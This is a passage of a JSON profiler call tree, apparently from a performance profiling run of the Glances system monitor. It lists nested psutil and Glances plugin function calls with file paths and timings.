\"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998500003537629, \"l1735\": 0.001998500003537629},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001999,\"attributes\": {\"l404\": 0.001998500003537629},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020030179948662408, \"l680\": 0.0020030179948662408},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020030179948662408, \"l1593\": 0.0020030179948662408},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020030179948662408, \"l1740\": 0.0020030179948662408},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020030179948662408, \"l1593\": 0.0020030179948662408},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020030179948662408, \"l382\": 0.0020030179948662408},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020030179948662408, \"l1683\": 0.0020030179948662408},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002003,\"attributes\": {\"l730\": 0.0020030179948662408},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002003,\"attributes\": {\"l719\": 0.0020030179948662408},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001997,\"attributes\": {\"c_GeneratorContextManager\": 0.0019972830050392076, \"l141\": 0.0019972830050392076},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972830050392076, \"l535\": 0.0019972830050392076},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972830050392076, \"l1730\": 0.0019972830050392076},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.002000216001761146, \"l148\": 0.002000216001761146},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000216001761146, \"l542\": 0.002000216001761146},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001707995077595, \"l939\": 0.002001707995077595},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001707995077595, \"l1593\": 0.002001707995077595},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001707995077595, \"l2052\": 0.002001707995077595},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001707995077595, \"l1593\": 0.002001707995077595},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001707995077595, \"l382\": 0.002001707995077595},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001707995077595, \"l1718\": 0.002001707995077595},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002001707995077595},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983290039817803, \"l382\": 0.0019983290039817803},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983290039817803, \"l1138\": 0.0019983290039817803},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983290039817803, \"l1593\": 0.0019983290039817803},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983290039817803, \"l1879\": 0.0019983290039817803},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001879\",\"time\": 0.001998,\"attributes\": {\"l1880\": 0.0019983290039817803},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.009999,\"attributes\": {\"cProcess\": 0.009999470996262971, \"l579\": 0.009999470996262971},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003519966849126, \"l812\": 0.0020003519966849126},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003519966849126, \"l1593\": 0.0020003519966849126},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003519966849126, \"l2268\": 0.0020003519966849126},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999103005800862, \"l836\": 0.001999103005800862},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999103005800862, \"l1593\": 0.001999103005800862},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999103005800862, \"l1812\": 0.001999103005800862},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.002003574998525437, \"l680\": 0.002003574998525437},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.002003574998525437, \"l1593\": 0.002003574998525437},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.002003574998525437, \"l1740\": 0.002003574998525437},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.002003574998525437, \"l1593\": 0.002003574998525437},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.002003574998525437, \"l382\": 0.002003574998525437},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.002003574998525437, \"l1683\": 0.002003574998525437},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002004,\"attributes\": {\"l730\": 0.002003574998525437},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002004,\"attributes\": {\"l718\": 0.002003574998525437},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002004,\"attributes\": {\"l682\": 0.002003574998525437},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200022199715022, \"l680\": 0.00200022199715022},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200022199715022, \"l1593\": 0.00200022199715022},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200022199715022, \"l1740\": 0.00200022199715022},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200022199715022, \"l1593\": 0.00200022199715022},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200022199715022, \"l391\": 0.00200022199715022},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l639\": 0.006000359004247002},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l314\": 0.006000359004247002},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l347\": 0.006000359004247002},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l394\": 0.006000359004247002},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l1593\": 0.006000359004247002},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l1857\": 0.006000359004247002},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l1593\": 0.006000359004247002},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l375\": 0.006000359004247002},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000359004247002, \"l1683\": 0.006000359004247002},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004000,\"attributes\": {\"l730\": 0.004000335997261573},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004000,\"attributes\": {\"l719\": 0.0020030099985888228, \"l718\": 0.00199732599867275},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.002000284999667201, \"l180\": 0.002000284999667201},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000180\",\"time\": 0.002000,\"attributes\": {\"l180\": 0.002000284999667201},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002209,\"attributes\": {\"cGlancesProcesses\": 0.0022094529995229095, \"l679\": 0.0022094529995229095},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002209,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001789,\"attributes\": {\"cGlancesProcesses\": 0.0017893749973154627, \"l689\": 0.0017893749973154627},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001789,\"attributes\": {\"l589\": 0.0017893749973154627},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001789,\"attributes\": {\"l584\": 0.0017893749973154627},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.001789,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001789,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000902000872884, \"l155\": 0.002000902000872884},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002001,\"attributes\": {\"cGlancesProcesses\": 0.002000902000872884, \"l711\": 0.002000902000872884},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002001,\"attributes\": {\"l71\": 0.002000902000872884},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002001,\"attributes\": {\"l47\": 0.002000902000872884},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.002001,\"attributes\": {\"cCounter\": 0.002000902000872884, \"l614\": 0.002000902000872884},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000679\",\"time\": 0.002001,\"attributes\": {\"cCounter\": 0.002000902000872884, \"l700\": 0.002000902000872884},\"children\": [{\"identifier\": \"__instancecheck__\\u0000<frozen abc>\\u0000117\",\"time\": 0.002001,\"attributes\": {\"cMapping\": 0.002000902000872884, \"l119\": 0.002000902000872884},\"children\": [{\"identifier\": \"_abc_instancecheck\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.005999,\"attributes\": {\"cProgramlistPlugin\": 0.005998904001899064, \"l678\": 0.005998904001899064},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.003999623004347086, \"l633\": 0.003999623004347086},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.003999623004347086, \"l623\": 0.001998697000090033, \"l619\": 0.002000926004257053},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.004013,\"attributes\": {\"cGpuPlugin\": 0.002011427000979893, \"l1278\": 0.004012753997812979, \"cAmpsPlugin\": 0.002001326996833086},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.004013,\"attributes\": {\"l1295\": 0.002011427000979893, \"l1299\": 0.002001326996833086},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/__init__.py\\u0000123\",\"time\": 0.002011,\"attributes\": {\"cGpuPlugin\": 0.002011427000979893, \"l136\": 0.002011427000979893},\"children\": [{\"identifier\": \"get_device_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u000052\",\"time\": 0.002011,\"attributes\": {\"cIntelGPU\": 0.002011427000979893, \"l67\": 0.002011427000979893},\"children\": [{\"identifier\": \"get_proc\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u0000127\",\"time\": 0.002011,\"attributes\": {\"l129\": 0.002011427000979893},\"children\": [{\"identifier\": \"read_file\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u000087\",\"time\": 0.002011,\"attributes\": {\"l90\": 0.002011427000979893},\"children\": [{\"identifier\": \"isfile\\u0000<frozen genericpath>\\u000036\",\"time\": 0.002011,\"attributes\": {\"l39\": 0.002011427000979893},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002011,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007988,\"attributes\": {\"cProcesslistPlugin\": 0.007987690005393233, \"l678\": 0.007987690005393233},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007988,\"attributes\": {\"cProcesslistPlugin\": 0.007987690005393233, \"l633\": 0.003989354001532774, \"l634\": 0.0019998139978270046, \"l656\": 0.001998522006033454},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001989,\"attributes\": {\"cProcesslistPlugin\": 0.0019887890011887066, \"l623\": 0.0019887890011887066},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019998139978270046, \"l628\": 0.0019998139978270046},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000565000344068, \"l614\": 0.002000565000344068},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/load/__init__.py\\u0000127\",\"time\": 0.002000,\"attributes\": {\"cLoadPlugin\": 0.0020000519944005646, \"l135\": 0.0020000519944005646},\"children\": [{\"identifier\": \"get_alert_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000945\",\"time\": 0.002000,\"attributes\": {\"cLoadPlugin\": 0.0020000519944005646, \"l947\": 0.0020000519944005646},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cLoadPlugin\": 0.0020000519944005646, \"l885\": 0.0020000519944005646},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cLoadPlugin\": 0.0020000519944005646, \"l910\": 0.0020000519944005646},\"children\": [{\"identifier\": \"set\\u0000/home/nicolargo/dev/glances/glances/actions.py\\u000049\",\"time\": 0.002000,\"attributes\": {\"cGlancesActions\": 0.0020000519944005646, \"l51\": 0.0020000519944005646},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.015009,\"attributes\": {\"cFsPlugin\": 0.011795600003097206, \"l1278\": 0.015009111004474107, \"cWifiPlugin\": 0.0014034440027899109, \"cQuicklookPlugin\": 0.00181006699858699},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.015009,\"attributes\": {\"l1295\": 0.015009111004474107},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.011796,\"attributes\": {\"cFsPlugin\": 0.011795600003097206, \"l131\": 0.011795600003097206},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.011796,\"attributes\": {\"cFsPlugin\": 0.011795600003097206, \"l182\": 0.011795600003097206},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.011796,\"attributes\": {\"l630\": 0.003993375001300592, \"l631\": 0.007802225001796614},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002506,\"attributes\": {\"cForkProcess\": 0.0025056040030904114, \"l121\": 0.0025056040030904114},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002506,\"attributes\": {\"l281\": 0.0025056040030904114},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002506,\"attributes\": {\"cPopen\": 0.0025056040030904114, \"l20\": 0.0025056040030904114},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002506,\"attributes\": {\"cPopen\": 0.0025056040030904114, \"l70\": 0.0025056040030904114},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002506,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004023,\"attributes\": {\"cForkProcess\": 0.004023435001727194, \"l156\": 0.004023435001727194},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004023,\"attributes\": {\"cPopen\": 0.004023435001727194, \"l41\": 0.004023435001727194},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004023,\"attributes\": {\"l1165\": 0.004023435001727194},\"children\": [{\"identifier\": 